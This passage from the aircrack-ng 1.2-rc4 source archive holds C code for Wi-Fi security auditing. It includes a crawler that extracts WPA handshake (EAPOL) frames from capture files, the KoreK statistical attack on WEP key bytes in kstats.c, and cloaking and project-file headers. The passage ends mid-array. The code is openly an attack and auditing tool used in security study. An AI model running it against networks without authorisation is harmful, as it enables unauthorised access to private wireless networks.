*ivbuf; /* buffer holding all the IVs */ int nb_aps; /* number of targeted APs */ long nb_ivs; /* # of unique IVs in buffer */ long nb_ivs_now; /* # of unique IVs available */ int fudge[64]; /* bruteforce level (1 to 256) */ int depth[64]; /* how deep we are in the fudge */ vote poll[64][256]; /* KoreK cryptanalysis results */ } wep; struct AP_info { struct AP_info *next; /* next AP in linked list */ unsigned char bssid[6]; /* access point MAC address */ char essid[33]; /* access point identifier */ unsigned char lanip[4]; /* IP address if unencrypted */ unsigned char *ivbuf; /* table holding WEP IV data */ unsigned char **uiv_root; /* IV uniqueness root struct */ long ivbuf_size; /* IV buffer allocated size */ long nb_ivs; /* total number of unique IVs */ long nb_ivs_clean; /* total number of unique IVs */ long nb_ivs_vague; /* total number of unique IVs */ int crypt; /* encryption algorithm */ int eapol; /* set if EAPOL is present */ int target; /* flag set if AP is a target */ struct ST_info *st_1st; /* linked list of stations */ struct WPA_hdsk wpa; /* valid WPA handshake data */ PTW_attackstate *ptw_clean; PTW_attackstate *ptw_vague; }; struct ST_info { struct AP_info *ap; /* parent AP */ struct ST_info *next; /* next supplicant */ struct WPA_hdsk wpa; /* WPA handshake data */ unsigned char stmac[6]; /* client MAC address */ }; struct mergeBSSID { unsigned char bssid [6]; /* BSSID */ char unused[2]; /* Alignment */ int convert; /* Does this BSSID has to */ /* be converted */ struct mergeBSSID * next; }; struct WPA_data { struct AP_info* ap; /* AP information */ int thread; /* number of this thread */ int threadid; /* id of this thread */ int nkeys; /* buffer capacity */ char *key_buffer; /* queue as a circular buffer for feeding and consuming keys */ int front; /* front marker for the circular buffers */ int back; /* back marker for the circular buffers */ char key[128]; /* cracked key (0 while not found) */ pthread_cond_t cond; /* condition for waiting when buffer is full until keys are tried and new keys can be written */ pthread_mutex_t mutex; }; void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ); #endif /* _AIRCRACK_NG_H */ aircrack-ng-1.2-rc4/src/besside-ng-crawler.c0000644000000000000000000002172012514336075017341 0ustar rootroot/* * Copyright (C) 2010 Pedro Larbig * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include // Statistics uint32_t stats_files = 0; uint32_t stats_dirs = 0; uint32_t stats_caps = 0; uint32_t stats_noncaps = 0; uint32_t stats_packets = 0; uint32_t stats_eapols = 0; uint32_t stats_networks = 0; // Global Dumpfile pcap_t *dumphandle; pcap_dumper_t *dumper; struct bsslist { u_char *bssid; u_char beacon_saved; struct bsslist *next; }; struct bsslist *is_in_list(struct bsslist *bsl, const u_char *bssid) { while (bsl != NULL) { if (! memcmp(bsl->bssid, bssid, 6)) return bsl; bsl = bsl->next; } return NULL; } struct bsslist *add_to_list(struct bsslist *bsl, const u_char *bssid) { struct bsslist *new, *search; new= malloc(sizeof(struct bsslist)); new->bssid = malloc(6); memcpy(new->bssid, bssid, 6); new->next = NULL; new->beacon_saved = 0x00; if (bsl == NULL) { return new; } else { search = bsl; while (search->next) search = search->next; search->next = new; return bsl; } } void free_bsslist(struct bsslist *bsl) { if (! bsl) return; if (bsl->next) free_bsslist(bsl->next); free(bsl->bssid); free(bsl); } struct bsslist *get_eapol_bssids(pcap_t *handle) { struct pcap_pkthdr header; const u_char *pkt, *llc, *bssid, *offset = NULL; struct bsslist *bsl = NULL; int o = 0; pkt = pcap_next(handle, &header); if (pcap_datalink(handle) == DLT_PRISM_HEADER) { if (pkt[5] || pkt[6]) { printf("Unsupported PRISM_HEADER format!\n"); return NULL; } if (pkt[7] == 0x40) { //prism54 format offset = pkt + 7; } else { offset = pkt + 4; } } while (pkt != NULL) { stats_packets++; if (offset) o = (*offset); if ((pkt[0+o] == 0x08) || (pkt[0+o] == 0x88)) { //Data or QoS Data if (pkt[0+o] == 0x88) { //Qos Data has 2 bytes extra in header llc = pkt + 26 + o; } else { llc = pkt + 24 + o; } if ((pkt[1+o] & 0x03) == 0x01) { //toDS bssid = pkt + 4 + o; } else { //fromDS - I skip adhoc and wds since its unlikely to have eapol in there (?) bssid = pkt + 10 + o; } if (! memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8)) { stats_eapols++; if (! is_in_list(bsl, bssid)) { printf("EAPOL found for BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); bsl = add_to_list(bsl, bssid); stats_networks++; } } } pkt = pcap_next(handle, &header); } return bsl; } void process_eapol_networks(pcap_t *handle, struct bsslist *bsl) { struct pcap_pkthdr header; const u_char *pkt, *llc, *bssid, *offset = 0; struct bsslist *known; int o = 0; pkt = pcap_next(handle, &header); if (pcap_datalink(handle) == DLT_PRISM_HEADER) { if (pkt[7] == 0x40) { //prism54 format offset = pkt + 7; } else { offset = pkt + 4; } } while (pkt != NULL) { if (offset) o = (*offset); header.len -= o; if ((pkt[0+o] == 0x08) || (pkt[0+o] == 0x88) || (pkt[0+o] == 0x80)) { if ((pkt[1+o] & 0x03) == 0x01) { //toDS bssid = pkt + 4 + o; } else if ((pkt[1+o] & 0x03) == 0x00) { //beacon bssid = pkt + 16 + o; } else { //fromDS bssid = pkt + 10 + o; } if (pkt[0+o] == 0x80) { //beacon known = is_in_list(bsl, bssid); if (!known || known->beacon_saved) { pkt = pcap_next(handle, &header); continue; } //Saving ONE beacon per WPA network pcap_dump((u_char *) dumper, &header, pkt + o); known->beacon_saved = 0x01; } if (pkt[0+o] == 0x88) { //printf("QoS Data\n"); llc = pkt + 26 + o; } else { llc = pkt + 24 + o; } if (! memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8)) { if (is_in_list(bsl, bssid)) { // Saving EAPOL pcap_dump((u_char *) dumper, &header, pkt + o); } } } pkt = pcap_next(handle, &header); } } void process_file(const char *file) { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bsslist *eapol_networks = NULL; stats_files++; handle = pcap_open_offline(file, errbuf); if (! handle) { stats_noncaps++; return; } stats_caps++; if ((pcap_datalink(handle) != DLT_IEEE802_11) && (pcap_datalink(handle) != DLT_PRISM_HEADER)){ //TODO: Add support for RADIOTAP!!!! printf("Dumpfile %s is not an IEEE 802.11 capture: %s\n", file, pcap_datalink_val_to_name(pcap_datalink(handle))); pcap_close(handle); return; } printf("Scanning dumpfile %s\n", file); eapol_networks = get_eapol_bssids(handle); pcap_close(handle); if (! eapol_networks) return; //No WPA networks found, skipping to next file handle = pcap_open_offline(file, errbuf); process_eapol_networks(handle, eapol_networks); pcap_close(handle); free_bsslist(eapol_networks); } void process_directory(const char *dir, time_t begin) { DIR *curdir; struct dirent *curent; struct stat curstat; char *fullname; stats_dirs++; curdir = opendir(dir); if (! curdir) { perror("Opening directory failed"); return; } errno = 0; curent = readdir(curdir); while(curent) { if ((! strcmp("..", curent->d_name)) || (! strcmp(".", curent->d_name))) { curent = readdir(curdir); continue; } fullname = malloc(strlen(dir) + strlen(curent->d_name) + 2); memcpy(fullname, dir, strlen(dir) + 1); strcat(fullname, "/"); strcat(fullname, curent->d_name); if (stat(fullname, &curstat)) { printf("Statting %s ", fullname); perror("failed"); } else { if (S_ISREG(curstat.st_mode)) { if (curstat.st_mtime >= begin) { printf("Skipping file %s, which is newer than the crawler process (avoid loops)\n", fullname); } else { process_file(fullname); } } else if (S_ISDIR(curstat.st_mode)) { process_directory(fullname, begin); } else { printf("%s is a neither a directory nor a regular file\n", fullname); } } free(fullname); curent = readdir(curdir); } if (errno) perror("Reading directory failed"); closedir(curdir); return; } int main(int argc, char *argv[]) { time_t begin = time(NULL); //Every file newer than when crawler started is skipped (it may be the file the crawler created!) if (argc != 3) { printf("Use: %s \n", argv[0]); printf("What does it do?\n\nIt recurses the SearchDir directory\n"); printf("Opens all files in there, searching for pcap-dumpfiles\n"); printf("Filters out a single beacon and all EAPOL frames from the WPA networks in there\n"); printf("And saves them to CapFileOut.\n\n"); printf("This tool is supposed to crawl capfiles for upload to sorbo's WPA statistic server!\n"); exit(0); } dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ); dumper = pcap_dump_open(dumphandle, argv[2]); process_directory(argv[1], begin); pcap_dump_close(dumper); pcap_close(dumphandle); printf("DONE. Statistics:\n"); printf("Files scanned: %12d\n", stats_files); printf("Directories scanned:%12d\n", stats_dirs); printf("Dumpfiles found: %12d\n", stats_caps); printf("Skipped files: %12d\n", stats_noncaps); printf("Packets processed: %12d\n", stats_packets); printf("EAPOL packets: %12d\n", stats_eapols); printf("WPA Network count: %12d\n", stats_networks); return 0; } aircrack-ng-1.2-rc4/src/kstats.c0000644000000000000000000002522212660207441015172 0ustar rootroot/* * Kstat: displays the votes of the korek attack for each keybyte * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "common.h" #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; void calc_votes( unsigned char *ivbuf, long nb_ivs, unsigned char *key, int B, int votes[N_ATTACKS][256] ) { int i, j; long xv; unsigned char R[256], jj[256]; unsigned char S[256], Si[256]; unsigned char K[64]; unsigned char io1, o1, io2, o2; unsigned char Sq, dq, Kq, jq, q; unsigned char S1, S2, J2, t2; for( i = 0; i < 256; i++ ) R[i] = i; q = 3 + B; memcpy( K + 3, key, B ); memset( votes, 0, sizeof( int ) * N_ATTACKS * 256 ); for( xv = 0; xv < nb_ivs; xv += 5 ) { memcpy( K, &ivbuf[xv], 3 ); memcpy( S, R, 256 ); memcpy( Si, R, 256 ); for( i = j = 0; i < q; i++ ) { jj[i] = j = ( j + S[i] + K[i & 15] ) & 0xFF; SWAP( S[i], S[j] ); } i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 ); o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1]; o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2]; Sq = S[q]; dq = Sq + jj[q - 1]; if( S2 == 0 ) { if( ( S1 == 2 ) && ( o1 == 2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } else if( o2 == 0 ) { Kq = 2 - dq; votes[A_neg][Kq]++; } } else { if( ( o2 == 0 ) && ( Sq == 0 ) ) { Kq = 2 - dq; votes[A_u15][Kq]++; } } if( ( S1 == 1 ) && ( o1 == S2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) ) { Kq = 0 - dq; votes[A_neg][Kq]++; Kq = 1 - dq; votes[A_neg][Kq]++; } if( S1 == q ) { if( o1 == q ) { Kq = Si[0] - dq; votes[A_s13][Kq]++; } else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 ) { Kq = io1 - dq; votes[A_u13_1][Kq]++; } else if( io1 < q ) { jq = Si[( io1 - q ) & 0xFF]; if( jq != 1 ) { Kq = jq - dq; votes[A_u5_1][Kq]++; } } } if( ( io1 == 2 ) && ( S[q] == 1 ) ) { Kq = 1 - dq; votes[A_u5_2][Kq]++; } if( S[q] == q ) { if( ( S1 == 0 ) && ( o1 == q ) ) { Kq = 1 - dq; votes[A_u13_2][Kq]++; } else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) ) { Kq = 1 - dq; votes[A_u13_3][Kq]++; } else if( ( S1 >= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; } } } } typedef struct { int idx, val; } vote; int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } int main( int argc, char *argv[] ) { FILE *f; long nb_ivs; int i, n, B, *vi; int votes[N_ATTACKS][256]; unsigned char *ivbuf, *s; unsigned char buffer[4096]; unsigned char wepkey[16]; vote poll[64][256]; if( argc != 3 ) { printf( "usage: kstats <104-bit key>\n" ); return( 1 ); } i = 0; s = (unsigned char * ) argv[2]; buffer[0] = s[0]; buffer[1] = s[1]; buffer[2] = '\0'; while( sscanf( (char*) buffer, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } wepkey[i++] = n; if( i >= 16 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buffer[0] = s[0]; buffer[1] = s[1]; } if( i != 13 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } if( ( ivbuf = (unsigned char *) malloc( 5 * 0xFFFFFF ) ) == NULL ) { perror( "malloc" ); return( 1 ); } if( ( f = fopen( argv[1], "rb" ) ) == NULL ) { free(ivbuf); perror( "fopen" ); return( 1 ); } if( fread( buffer, 1, 4, f ) != 4 ) { free(ivbuf); fclose(f); perror( "fread header" ); return( 1 ); } if( memcmp( buffer, "\xBF\xCA\x84\xD4", 4 ) != 0 ) { free(ivbuf); fclose(f); fprintf( stderr, "Not an .IVS file\n" ); return( 1 ); } nb_ivs = 0; while( 1 ) { if( fread( buffer, 1, 1, f ) != 1 ) break; if( buffer[0] != 0xFF ) if( fread( buffer + 1, 1, 5, f ) != 5 ) break; if( fread( buffer, 1, 5, f ) != 5 ) break; memcpy( ivbuf + nb_ivs * 5, buffer, 5 ); nb_ivs++; } for( B = 0; B < 13; B++ ) { for( i = 0; i < 256; i++ ) { poll[B][i].idx = i; poll[B][i].val = 0; } calc_votes( ivbuf, nb_ivs, wepkey, B, votes ); for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) poll[B][i].val += *vi * K_COEFF[n]; qsort( poll[B], 256, sizeof( vote ), cmp_votes ); printf( "KB %02d VALID %02X", B, wepkey[B] ); for( i = 0; i < 256; i++ ) if( poll[B][i].idx == wepkey[B] ) printf( "(%4d) ", poll[B][i].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][wepkey[B]] ); printf( "\n" ); printf( "KB %02d FIRST %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][0].idx] ); printf( "\n" ); printf( "KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][1].idx] ); printf( "\n" ); printf( "KB %02d THIRD %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][2].idx] ); printf( "\n\n" ); } free(ivbuf); fclose(f); return( 0 ); } aircrack-ng-1.2-rc4/src/airdecloak-ng.h0000644000000000000000000001620112511400657016362 0ustar rootroot/* * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRUNDEFENSE_H_ #define _AIRUNDEFENSE_H_ #include "pcap.h" #include "common.h" typedef enum {false, true} BOOLEAN; /* typedef enum { CLOAKING_NOT_YET_CHECKED, VALID_FRAME_UNCLOAKED, CLOAKED_FRAME, CLOAKING_STATUS_TBD, // Identical SN DROPPED_FRAME, WEIRD_FRAME_TYPE } CLOAKING_STATUS; */ // How far should we check for cloacked packets (backward and forward) #define PACKET_CHECKING_LENGTH 10 #define DIRECTION_BACKWARD 0 #define DIRECTION_FORWARD 1 #define UKNOWN_FRAME_CLOAKING_STATUS -1 #define VALID_FRAME_UNCLOAKED 0 #define CLOAKED_FRAME 2 #define POTENTIALLY_CLOAKED_FRAME 1 #define DROPPED_FRAME 3 // Weird frames are rejected before being checked atm #define WEIRD_FRAME_TYPE 100 #define FRAME_TYPE_MANAGEMENT 0 #define FRAME_TYPE_CONTROL 1 #define FRAME_TYPE_DATA 2 #define BEACON_FRAME 0x80 #define PROBE_RESPONSE 0x50 #define AUTHENTICATION 0xB0 #define ASSOCIATION_REQUEST 0x00 #define ASSOCIATION_RESPONSE 0x10 #define NULL_FRAME 0x48 #define FILTER_SIGNAL 1 #define FILTER_DUPLICATE_SN 2 #define FILTER_DUPLICATE_SN_AP 3 #define FILTER_DUPLICATE_SN_CLIENT 4 #define FILTER_CONSECUTIVE_SN 5 #define FILTER_DUPLICATE_IV 6 #define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7 #define getBit(pckt, startbit) getBits(pckt, startbit, 1) #define get_iv(packet) ((packet)->iv[0]+((packet)->iv[1] * 256)+((packet)->iv[2] *256*256)) const int PACKET_HEADER_SIZE = sizeof( struct pcap_pkthdr ); struct packet_elt_header { struct packet_elt *first; struct packet_elt *current; struct packet_elt *last; int nb_packets; int average_signal; // Calculate the average signal (for later) // Currently do it on management frames (or control frames); may change in the future. } * _packet_elt_head; struct packet_elt { struct pcap_pkthdr header; /* packet header */ unsigned char *packet; /* packet */ unsigned short length; /* packet length, just to know how much to write to the file */ // A few interesting stuff coming from the packets int fromDS; int toDS; int frame_type; /* MGMT, CTRL, DATA */ int frame_subtype; // Not yet filled but will do unsigned char version_type_subtype; // First byte unsigned char source[6]; unsigned char destination[6]; unsigned char bssid[6]; int sequence_number; int fragment_number; unsigned char iv[3]; unsigned char key_index; unsigned char icv[4]; int signal_quality; int retry_bit; int more_fragments_bit; //int packet_number; /* packet number */ int is_cloaked; int is_dropped; // Do we have to drop this frame? int complete; // 0: no, 1: yes struct packet_elt * next; struct packet_elt * prev; }; // Not already used (partially maybe) struct decloak_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_filt_wep; /* # of filtered WEP pkt */ unsigned long nb_cloak_wep; /* # of cloaked WEP pkt */ }; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern char * mac2string(unsigned char * mac); extern int maccmp(unsigned char *mac1, unsigned char *mac2); void usage(); int getBits(unsigned char b, int from, int length); FILE * openfile(const char * filename, const char * mode, int fatal); BOOLEAN write_packet(FILE * file, struct packet_elt * packet); FILE * init_new_pcap(const char * filename); FILE * open_existing_pcap(const char * filename); BOOLEAN read_packets(void); BOOLEAN initialize_linked_list(); BOOLEAN add_node_if_not_complete(); void set_node_complete(); void remove_last_uncomplete_node(); struct packet_elt * getPacketNr(int position); char * iv2string(unsigned char * iv); char * icv2string(unsigned char * icv); void print_packet(struct packet_elt * packet); void reset_current_packet_pointer(); BOOLEAN reset_current_packet_pointer_to_ap_packet(); BOOLEAN reset_current_packet_pointer_to_client_packet(); BOOLEAN next_packet_pointer(); BOOLEAN next_packet_pointer_from_ap(); BOOLEAN next_packet_pointer_from_client(); BOOLEAN prev_packet_pointer(); int compare_SN_to_current_packet(struct packet_elt * packet); BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN write_packets(); BOOLEAN print_statistics(); char * status_format(int status); int get_average_signal_ap(); // Check for cloaking functions BOOLEAN check_for_cloaking(); // Main cloaking check function #define CFC_base_filter() CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); int CFC_mark_all_frames_with_status_to(int original_status, int new_status); int CFC_filter_signal(); int CFC_filter_duplicate_sn_ap(); int CFC_filter_duplicate_sn_client(); int CFC_filter_duplicate_sn(); int CFC_filter_consecutive_sn(); int CFC_filter_consecutive_sn_ap(); int CFC_filter_consecutive_sn_client(); int CFC_filter_duplicate_iv(); int CFC_filter_signal_duplicate_and_consecutive_sn(); /* const char usage[] = "\n" " %s - (C) 2008 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airundefense-ng \n" "\n"; */ #endif aircrack-ng-1.2-rc4/src/wkp-frame.h0000644000000000000000000004256211447177005015571 0ustar rootroot/* * Elcomsoft Wireless Security Auditor (EWSA) Project File's Frame (3.02) * * Copyright (C) 2010 ZhaoChunsheng * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #define WKP_FRAME_LENGTH 2622 char wkp_frame[WKP_FRAME_LENGTH] = { 0x43, 0x50, 0x57, 0x45, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0xc2, 0xe6, 0x8f, 0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 